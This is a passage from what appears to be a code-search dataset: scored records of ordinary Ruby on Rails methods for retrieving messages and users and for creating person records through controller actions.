User.find_by_id(params[:talk_to]).name\n @message = Message.new\n end\n\n end", "title": "" }, { "docid": "2420ce52bb87ea39bd9e208ab185a177", "score": "0.5941038", "text": "def messages\n #Message.joins(:message_receivers).where(message_receivers: {user: User.last})\n Message.joins(:message_receivers).where(\"message_receivers.user_id = :q OR sender_id = :q\", :q => self ).distinct\n end", "title": "" }, { "docid": "a47a21c84273b825f6c8e4d9df5170b0", "score": "0.59369624", "text": "def all_messages\n Message.where(\"(owner_user_id = ?) OR ((from_user_id = ?) AND (copied_message_id IS NULL))\", self.id, self.id)\n end", "title": "" }, { "docid": "1694973f679cf55a691fcbc85ff866fc", "score": "0.59312004", "text": "def get_users(replies)\n users = []\n replies.each do |r|\n users << r['user']['screen_name']\n end\n return users.uniq\n end", "title": "" }, { "docid": "f02c8ab97901b0ae05798772441e6077", "score": "0.5917985", "text": "def messages\n message_names.collect {|name| message_content(name) }\n end", "title": "" }, { "docid": "d25d89a5265b2ca02c18e6551acb70a7", "score": "0.5905962", "text": "def get_all_users\n @users = []\n people = User.all\n people.each do |person|\n @users << person.to_hash\n end\n return\n end", "title": "" }, { "docid": "835e25ce882ba942aec58b7da5d6ceea", "score": "0.5901388", "text": "def get_current_userlist\n\t\tusers = []\n\t\treadfrom( self.rabbitmqctl, 'list_users' ) do |io|\n\t\t\tio.each do |line|\n\t\t\t\tusers << line.chomp unless line.index('...')\n\t\t\tend\n\t\tend\n\t\treturn users\n\tend", "title": "" }, { "docid": "068074629da6b14f1bdaa6aa6572ef8d", "score": "0.5897967", "text": "def recipients\n all_users.map(&:mail).flatten.sort.uniq\n end", "title": "" }, { "docid": "7c63cb26f424de167bd4f04d77ee0f82", "score": "0.5897507", "text": "def user_mention_lists(user)\n auto_mention_list = ''\n mention_list_arr = []\n if user\n mention_list_arr << user.following_users.to_a\n mention_list_arr << user.user_followers.to_a\n mention_list_arr << user.following_artists.to_a\n mention_list_arr << user.following_venues.to_a\n \n mention_list_arr.flatten.uniq.each do |mentionable_item|\n mention_name = \"@#{mentionable_item.mention_name}\"\n display_name = \"#{mention_name} - #{mentionable_item.get_name}\"\n object_type = mentionable_item.class.to_s.downcase\n # reset object type to fan or artist (needs to be fixed in database)\n object_type = (object_type == \"user\") ? \"fan\" : object_type\n auto_mention_list += \"{name: \\\"#{display_name}\\\", id:\\\"#{mention_name}\\\", type:\\\"#{object_type}\\\"},\"\n end\n end\n return auto_mention_list.chomp(\",\")\n end", "title": "" }, { "docid": "bb53c7281b57ae84c0c7eb18748fee0d", "score": "0.58904016", "text": "def private_messages(context_user = nil, opts={})\n return unless logged_in?\n \n count = if current_user.id == context_user.id\n current_user.private_messages_count\n else\n current_user.private_messages_with_user_count(context_user)\n end\n \n if count.zero?\n content_tag('p', (opts[:no_messages_message]||'Личные сообщения отсутствуют.'))\n\n else\n private_messages = paginate(params[:page] || 1, PrivateMessage.per_page, count) do |offset, limit|\n find_options = {:include => :sender, :offset => offset, :limit => limit}\n if current_user.id == context_user.id\n current_user.private_messages(find_options)\n else\n current_user.private_messages_with_user(context_user, find_options)\n end\n end\n \n title = if opts[:title]\n elsif current_user.id != context_user.id\n \"Ваше общение с #{context_user.display_name}\"\n else\n 'Личные сообщения'\n end\n render :partial => 'private_messages/list', :locals => {:private_messages => private_messages,\n :title => title, :target_user => context_user}\n end\n end", "title": "" }, { "docid": "37b851dc45a9e0c8e1896bea2550abed", "score": "0.5884625", "text": "def messages\n @queries.map { |query| query.message }.uniq.compact\n end", "title": "" }, { "docid": "e10340129758ada276fe333379541d1d", "score": "0.58823943", "text": "def top_users\n user_activity.map{|user| \"#{user.name_and_username}: #{user.messages.count} messages.\"}\n end", "title": "" }, { "docid": "110c332b579f3a35cf52c79c13af51f5", "score": "0.58731604", "text": "def get_important_messages\n # TODO load more messages using :offset\n @a.messages.get(count: MAX_MSG_GET_COUNT, filters: 8)[\"items\"]\n end", "title": "" }, { "docid": "39cd9ba3daacb611a51a154236b1da56", "score": "0.5870358", "text": "def index\n # @messages = Message.all #NOT ORDERED\n @messages = []\n if (params[:username]) #return all messages for this username & order messages by most recent message on top\n @messages = Message.find_by_user(params[:username]).order('updated_at DESC') \n else #return all messages for all users\n Message.order('updated_at DESC').each do |msg|\n @messages << Message.find_by(id: msg.id).transform_message\n end\n end\n render json: @messages\n end", "title": "" }, { "docid": "55f8816a5a01aaff3f08b000215a4185", "score": "0.5866991", "text": "def index\n if (params.has_key?(:user_id) && !params[:user_id].nil?)\n @messages = (User.sent_messages(@user) + @user.messages)\n else\n @messages = Message.all\n end\n @messages = @messages.sort_by { |m| m.created_at }.reverse\n @conversations = @messages.group_by { |message| message.subject }\n if (params.has_key?(:user_id) && !params[:user_id].nil?)\n @title = User.find(params[:user_id]).name + \"'s messages\"\n else\n @title = \"Messages\"\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @conversations }\n end\n end", "title": "" }, { "docid": "43871c512ca60f92aeb6089afbeeda2d", "score": "0.5865173", "text": "def all_messages(options = {})\n #:type => nil is a hack not to give Messages as Notifications\n messages = Alerter::Message.receipts(@notifiable).where(:type => nil).order(\"alerter_messages.created_at DESC\")\n if options[:read] == false || options[:unread]\n messages = messages.unread\n end\n\n messages\n end", "title": "" }, { "docid": "3c65b3a8c6edd15df8a45de4b656ebf7", "score": "0.58628035", "text": "def messages\n @collection.map { |param| param.message }.join('')\n end", "title": "" }, { "docid": "d65a5684558e33b6ba5d75560a1dc42d", "score": "0.5858567", "text": "def message\n\t\t@messages = @current_user.messages\n\tend", "title": "" }, { "docid": "2ea2aea3a8871a0cfed4ba4cd6d1711a", "score": "0.58554137", "text": "def other_user messages\n other_user_sid = ((messages.map{|message| message[\"user\"] }).uniq.compact - [@user.s_id])[0]\n User.find_by(s_id: other_user_sid)\n end", "title": "" }, { "docid": "212921351034a1ae1857876095bd62c5", "score": "0.58522743", "text": "def load_valid_system_messages\n @message = \"\"\n if @logged_in_user\n messages = SystemMessage.users_valid_messages(Time.now, @logged_in_user)\n \n if messages != []\n @message = \"\"\n \n messages.each do |m|\n @message << \"<b>\" + m.title + \" - \" + m.updated_at.format_month_dd_yyyy + \n \"</b><br/>\" + m.body + \"<br/>-- \" + User.find(m.user_id).name + \"<br/><br/>\"\n end\n end\n end \n @message\n end", "title": "" }, { "docid": "e5de823b4522578622e8ef5967101263", "score": "0.5848405", "text": "def messages(uid, params={})\n response = @client.get \"#{@path}/#{uid}/messages\", params\n PaginateResource.new \"#{@path}\", @client, response, Textmagic::REST::Message\n end", "title": "" }, { "docid": "c0a540357425060f55d4fcabf07877c1", "score": "0.58460546", "text": "def all_users\n @channels.values.map(&:users).flatten.sort_by(&:id)\n end", "title": "" }, { "docid": "dedbd6fe33a21968ed32a42b38bb1307", "score": "0.58383733", "text": "def messages\n []\n end", "title": "" }, { "docid": "d8d043181d054a2119f594805aacc46a", "score": "0.58367646", "text": "def messages\n @messages ||= []\n end", "title": "" }, { "docid": "d8d043181d054a2119f594805aacc46a", "score": "0.58367646", "text": "def messages\n @messages ||= []\n end", "title": "" }, { "docid": "6830c23795605e1ab5de8f52609b348c", "score": "0.58291036", "text": "def messages\n ret = Array.new\n while msg = pop_message\n ret << msg\n end\n ret\n end", "title": "" }, { "docid": "a9eb7be16fb02ca6fa9d8fedf4c17a6a", "score": "0.5827191", "text": "def messages\n # @messages ||= Message.all\n @messages ||= current_user.messages\n end", "title": "" }, { "docid": "a203419ab3f8e1c15bda851b420fdd3b", "score": "0.58220446", "text": "def index\n @messages = current_user.sent_messages.or(user.received_messages)\n end", "title": "" }, { "docid": "b8f9bd9701ae361e4616c77ed0bc2f1f", "score": "0.5808811", "text": "def users_messaged\n self.users_whom_i_have_messaged\n end", "title": "" }, { "docid": "ec39993150c98dcc5b858f9fc1f2104b", "score": "0.5793675", "text": "def messages\n @set.map(&:message).sort\n end", "title": "" }, { "docid": "8076d6dc7d85bf86cf4d614541cac7d7", "score": "0.57907933", "text": "def get_user_list(socket)\r\n\t# create a new empty local array\r\n\tlist = Array.new\r\n\t\r\n\t# send \"list\" to the server, which will make the server send the user list\r\n\tsocket.puts \"list\"\r\n\tmessage = socket.gets\r\n\t\r\n\t# parse the string of users the server sent us\r\n\tuser_string = socket.gets.chomp!\r\n\tuser_list_raw = user_string.split\r\n\t\r\n\t# for each user we were sent, add it to a new user hash, and push it into our local user list\r\n\tuser_list_raw.each do |i|\r\n\t\tuser_list_hash = Hash.new\r\n\t\tuser_list_hash[\"name\"] = i\r\n\t\tlist << user_list_hash\r\n\tend # end user_list_raw processing\r\n\t\r\n\t# return the list\r\n\treturn list\r\nend", "title": "" }, { "docid": "402227b109f116d34625fded9e45a9f9", "score": "0.57861453", "text": "def my_messages \n @messages = [] \n Message.find_by_user(current_user.username).order('updated_at DESC').each do |msg| \n @messages << Message.find_by(id: msg.id).transform_message\n end\n render json: @messages\n end", "title": "" }, { "docid": "b971654300fc5de28d80a0a8fb17cdcc", "score": "0.5781598", "text": "def chat_messages *args\n other_user_id, page, per_page, options = TibbrResource.extract_params(args)\n thread_key = options[:thread_key]\n messages_since = options[:messages_since]\n TibbrResource.paginate_collection(get(:chat_messages,\n :params => {:other_user_id => other_user_id,\n :thread_key => thread_key,\n :messages_since => messages_since,\n :page=>page, :per_page=>per_page}), Message)\n end", "title": "" }, { "docid": "28c6dc3ea679e531846810ccd5dec03d", "score": "0.5778784", "text": "def messages\n @messages ||= Sumo::Collection.new(\n :get_values => proc { |hash| self.get_messages(hash) },\n :get_status => proc { self.status },\n :count_key => 'messageCount'\n ).each\n end", "title": "" }, { "docid": "22a3e76c8d99015c17c589a7b0851962", "score": "0.57764536", "text": "def get_list(m)\n get_list_for_user(m, m.user.nick)\n end", "title": "" }, { "docid": "cae08abb224cfba9e2bc8c39e2f6ba82", "score": "0.5772643", "text": "def show_messages(uids)\n return unless @list\n\n responses = @imap.fetch uids, [\n Net::IMAP::RawData.new('BODY.PEEK[HEADER.FIELDS (SUBJECT MESSAGE-ID)]'),\n 'FLAGS'\n ]\n\n responses.each do |res|\n header = res.attr['BODY[HEADER.FIELDS (SUBJECT MESSAGE-ID)]']\n\n puts header.chomp\n\n flags = res.attr['FLAGS'].map { |flag| flag.inspect }.join ', '\n\n puts \"Flags: #{flags}\"\n puts\n end\n end", "title": "" }, { "docid": "b9ce2654fb94a2b7378a405ed81cc1a7", "score": "0.5772398", "text": "def messages\n Mail::IMAP.new(retriever_settings).all(:delete_after_find => true)\n end", "title": "" }, { "docid": "111a2a9715acdc0e04e73a3b5fac477b", "score": "0.5770212", "text": "def get_read_user_entries(user)\n array = []\n user.entry_users.each do |entryuser|\n self.entries.each do |entry|\n if(entryuser.entry_id ==entry.id &&\n entryuser.read == true )\n array.push(entryuser)\n end\n end\n end\n return array;\n end", "title": "" }, { "docid": "099b66d6d743e0cf8643ae1aa0eb2634", "score": "0.5767815", "text": "def messages\n # con le restrizioni correnti, l'utente è sempre il current_user\n @user = User.find(params[:id])\n @messages = @user.received_messages.paginate(page: params[:page])\n end", "title": "" }, { "docid": "fdc3f5453e3576e3d3d6caeff3ee4e8f", "score": "0.57664996", "text": "def collect_whisper_message_history(user, actions)\n hash = Hash.new\n if actions.include? \"reply\" or actions.include? \"delete\"\n whisper_today = WhisperToday.find_pending_whisper(user.id, self.id)\n if !whisper_today.nil?\n hash['whisper_id'] = whisper_today.dynamo_id\n replies = WhisperReply.where(whisper_id: whisper_today.id).order(\"created_at DESC\")\n if replies.count > 0\n messages_array = Array.new\n replies.each do |r|\n new_item = {\n speaker_id: r.speaker_id,\n timestamp: r.created_at.to_i,\n message: r.message.nil? ? '' : r.message\n }\n messages_array << new_item\n end\n end\n hash['messages_array'] = messages_array\n end\n end\n\n return hash\n end", "title": "" }, { "docid": "a4228ee73aad66c3cd6fd25d5a700832", "score": "0.5765703", "text": "def get_messages(query)\n resp = client.get(:path => \"#{base_path}/messages\", :query => query)\n extract_response('messages', resp)\n end", "title": "" }, { "docid": "d246161639835313f112c17fd6f10f33", "score": "0.5765305", "text": "def read_users_string\n self.read_users.join(', ')\n end", "title": "" }, { "docid": "8b8b00919f53da57e232df4c6ea025c9", "score": "0.5764504", "text": "def messages\r\n []\r\n end", "title": "" }, { "docid": "2f75f24c1b21bdef85fa3177823922d1", "score": "0.57624215", "text": "def mentioned_users(reply_all = true, screen_name = $bot[:config][:screen_name])\n userlist = [ self.user.screen_name ]\n if reply_all\n self.text.scan /@([A-Za-z0-9_]{1,16})/ do |user_name|\n user_name = user_name[0]\n userlist << user_name unless userlist.include?(user_name) or screen_name == user_name\n end\n end\n userlist\n end", "title": "" }, { "docid": "259787d3104ac2afb4bbba5f1b4c7ef3", "score": "0.5756731", "text": "def retrieve\n messages = @redd.my_messages('moderator', false, limit: RETRIEVAL_COUNT)\n messages = expand(messages)\n messages.map do |m|\n TaggedData.new(m.name, Models::Modmail.from_data(m))\n end\n end", "title": "" }, { "docid": "c8b9c288331eee6186520f015a2e3df1", "score": "0.5735533", "text": "def list_messages\n\t messages = []\n if Conversation.between(current_user.id, params[:recipient_id]).present?\n conversation = Conversation.between(current_user.id, params[:recipient_id]).first\n \t messages = conversation.messages\n end\n render json: {conversation: messages}\n end", "title": "" }, { "docid": "30216625a5a00cdd15c846b051235373", "score": "0.57214427", "text": "def get_all_messages(accept)\r\n # Prepare query url.\r\n _path_url = '/message'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'Accept' => accept\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n OAuth2.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) unless\r\n _context.response.raw_body.nil? ||\r\n _context.response.raw_body.to_s.strip.empty?\r\n decoded\r\n end", "title": "" }, { "docid": "c63b2b3531016120f8a6e79c7718023e", "score": "0.57209766", "text": "def index\n @messages = Message.where(user: current_user)\n end", "title": "" }, { "docid": "7f9136bc43ba4b913080a9e24ed65f30", "score": "0.57166266", "text": "def get_messages(chat, options = {})\n with_history(chat) do |history|\n messages = history.dup\n\n if options.has_key?(:from)\n messages.keep_if { |msg| msg.from_name =~ /#{options[:from]}/i }\n end\n\n if options.has_key?(:to)\n messages.keep_if { |msg| msg.to =~ /#{options[:to]}/i }\n end\n\n messages\n end\n end", "title": "" }, { "docid": "2999d86893745ad3072181fac524871c", "score": "0.5716219", "text": "def chat_messages(chat_messages = {}); JSON[Api::get_chat_messages(chat_messages, self)]; end", "title": "" }, { "docid": "e7811e686de9004f4a8e636cb00d1851", "score": "0.5714779", "text": "def fetch\n new_messages = []\n \n # Ignore any messages that don't have the hashtag.\n # Use twitter search to do this instead?\n @twitter_client.replies.reject{|m| !m.text[/#wase/]}.each do |reply|\n message = Message.new(reply.id, reply.text)\n \n # Skip if we've already processed this message.\n unless @all_messages.include?(message)\n @all_messages << message\n new_messages << message\n end\n end\n new_messages\n end", "title": "" }, { "docid": "e730a26b6dd88614fb8694c6ae7c3a4b", "score": "0.5702987", "text": "def show\n @messages_received=Messages.get_last_message(cookies[ :user_id ])\n @users = Users.find_users \n end", "title": "" } ]
c677e2ccb36ab955c74a7bce3764b9f6
POST /people POST /people.json
[ { "docid": "5e2ac315060056e75b0f5825323cd933", "score": "0.65106755", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: \"#{@person.name} was successfully created.\" }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "b15085b8ebe0f929720fc799ccb1766b", "score": "0.6787028", "text": "def create\n @person = current_user.created_people.new(person_params_with_school)\n if @person.save\n render :show, status: :created, location: api_v1_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "35beccf91c252011cd0016e1db719ce4", "score": "0.67639786", "text": "def create\n @person = Person.new(person_params)\n if @person.save\n render :show, status: :created, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a0d8b83aaf2298d96096735a2a5139e0", "score": "0.67471504", "text": "def create\n @person = Person.new(person_params)\n\n if @person.save\n render json: { status: 'POST Success', id: @person.id }, status: :ok\n else\n render json: { status: 'Error', message:'Error registering a new person', person: @person.errors }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "fe2800b7060e1827064c381bd2d9a241", "score": "0.67430043", "text": "def create\n @person = current_user.created_people.new(person_params_with_school)\n if @person.save\n render :show, status: :created, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "20a984a71d6e43b9c9ec17c148af539f", "score": "0.6740321", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html do\n redirect_to people_url, notice: 'Person was successfully created.'\n end\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json do\n render json: @person.errors, status: :unprocessable_entity\n end\n end\n end\n end", "title": "" }, { "docid": "a507799d918ce67f832795dc11280a21", "score": "0.6729967", "text": "def create\n \t@person = Person.new(person_params) \t\n respond_to do |format|\n if @person.save\n format.json {render json: @person, status: :ok }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a72994fd1cbe464e1d7720a4a6a8693f", "score": "0.6695623", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to people_path, notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: @person }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c0bd7623669f084c71cc14d6a6fe7cb", "score": "0.66938925", "text": "def create\n @person = @account.people.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25c7221fa0a785cce1ab34979137cc83", "score": "0.66387355", "text": "def create\n @people = People.new(people_params)\n\n respond_to do |format|\n if @people.save\n format.html { redirect_to root_path, notice: 'Um VIP ' + @people.name.to_s + ' foi criado com sucesso!' }\n format.json { render :show, status: :created, location: @people }\n else\n format.html { render :new }\n format.json { render json: @people.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38100e6b6a949b8989e0e89c7210a00a", "score": "0.6607146", "text": "def create\n @person_info = PersonInfo.new(person_info_params(params[:person_info]))\n\n if @person_info.save\n render json: @person_info, status: :created, location: @person_info\n else\n render json: @person_info.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ab7ad30bc41b3732c02cb820e8e158d7", "score": "0.6599289", "text": "def create\n @person = Person.new\n \tpopulate_attributes(@person, params[:person])\n \n respond_to do |format|\n if @person.save\n @person = Person.find(@person.id)\n populate_attributes(@person, params[:person])\n @person.save\n\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a94ddadb4257f161e3d85147f28b083f", "score": "0.6555189", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a94ddadb4257f161e3d85147f28b083f", "score": "0.6555189", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a94ddadb4257f161e3d85147f28b083f", "score": "0.6555189", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a94ddadb4257f161e3d85147f28b083f", "score": "0.6555189", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "12adefe11cb7bc6c80bb838bb396b38d", "score": "0.65208775", "text": "def create\n @user_person = UserPerson.new(params[:user_person])\n\n respond_to do |format|\n if @user_person.save\n format.html { redirect_to @user_person, notice: 'User person was successfully created.' }\n format.json { render json: @user_person, status: :created, location: @user_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.6495074", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.6495074", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.6495074", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.6495074", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.6495074", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.6495074", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.6495074", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.6495074", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aba4610616208badfe7c56f5a2804f32", "score": "0.64876723", "text": "def create\n @people = People.new(params[:people])\n\n respond_to do |format|\n if @people.save\n flash[:notice] = 'People was successfully created.'\n format.html { redirect_to(@people) }\n format.xml { render :xml => @people, :status => :created, :location => @people }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @people.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "624fdda08bdae71a0137fdb55a3210a5", "score": "0.6459417", "text": "def create \n @person = Person.new(person_params)\n respond_to do |format|\n if @person.save!\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "002d23cdeafb9a4659927d369c980914", "score": "0.6442595", "text": "def create\n @person = Person.new(params[:person])\n \n #save name(s)\n #params[:name].each {|name| \n # @name = Name.new\n # @name.name = name\n # @name.person_id = @person.id\n # @name.save\n #}\n\n respond_to do |format|\n if @person.save\n flash[:notice] = 'Person was successfully created.'\n format.html { redirect_to(@person) }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\", :layout => \"main\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c0b74d79ce60ce319eed7f45fbbe37a4", "score": "0.6437779", "text": "def create\n @person.save\n respond_with(@person, :location => people_path)\n end", "title": "" }, { "docid": "bb37128cc8bf88e76aa3874df55d8c83", "score": "0.6429813", "text": "def create\n # if “Content-Type” header is set as “application/json” then ...\n if request.content_type == \"application/json\" \n # Person.new is like a \"Insert into People values ...\" in SQL\n @person = Person.new(person_params)\n # .save is the commit to database\n if @person.save\n # :created is the http status code 201\n render json: @person, status: :created\n # :bad_request is the http status code 400\n else\n render json: @person.errors, status: :bad_request #:unprocessable_entity\n end\n else\n render status: :bad_request\n end\n end", "title": "" }, { "docid": "95d4f4eb10058eedd1ab9071f553513c", "score": "0.6427936", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: @person }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40983dddacbc366305f56631a704ec5d", "score": "0.63512456", "text": "def create\n @person = Person.new(params[:person])\n \n respond_to do |format|\n if @person.save\n format.html { redirect_to \"people/#{@person.id}\" }\n format.json { render :nothing }\n format.xml { render :nothing }\n else \n format.html { render :action => \"new\" }\n end\n end\n end", "title": "" }, { "docid": "daf4cc93a72115ce296fbe1754b6f1be", "score": "0.63290733", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.js {}\n format.html { redirect_to people_url, notice: \"Person #{@person.first_name} was successfully created.\" }\n format.json { render :show, status: :created, location: @person }\n else\n format.js {}\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f33e99c62322c3df2957a62846d7c430", "score": "0.6310523", "text": "def create\n @people = People.new(people_params) \n @people.user_created_id = current_user.id \n respond_to do |format|\n if @people.save\n format.html { redirect_to @people, notice: 'Persona creada con éxito.' }\n format.json { render :show, status: :created, location: @people }\n else\n format.html { render :new }\n format.json { render json: @people.errors, status: :unprocessable_entity }\n end\n end \n end", "title": "" }, { "docid": "0e4878a1b21ca8c2f38c63c79879f68b", "score": "0.63032746", "text": "def create\n\t\t@person = Person.new(person_params)\n\n\t\trespond_to do |format|\n\t\t\tif @person.save\n\t\t\t\tformat.html { redirect_to @person, notice: 'Person was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @person }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @person.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "d7529fe4baa759a9c15dbab502062638", "score": "0.6259273", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to admin_person_url(@person), notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d331fce7a3b49510a52c981ccf1b6fe5", "score": "0.6258431", "text": "def create\r\n @person = Person.new(person_params)\r\n set_field\r\n\r\n respond_to do |format|\r\n if @person.save\r\n format.json { render :show, status: :created, location: @person }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @person.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "186d7eb40069b62dabf3514b2688036c", "score": "0.6255561", "text": "def create\n @persona = Persona.new(params[:persona])\n \n respond_to do |format|\n if @persona.save\n format.json { render :json => @persona,\n :status => :created, :location => @persona }\n else\n format.json { render :json => @persona.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67133f79e79dbbbc18b71fa0c3cf43e1", "score": "0.6206324", "text": "def create\n @person = Person.new(person_params)\n # @person.addresses.build()\n respond_to do |format|\n if @person.save\n # @person.addresses.create\n # @person.companies.create\n\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n @addresses = @person.addresses\n 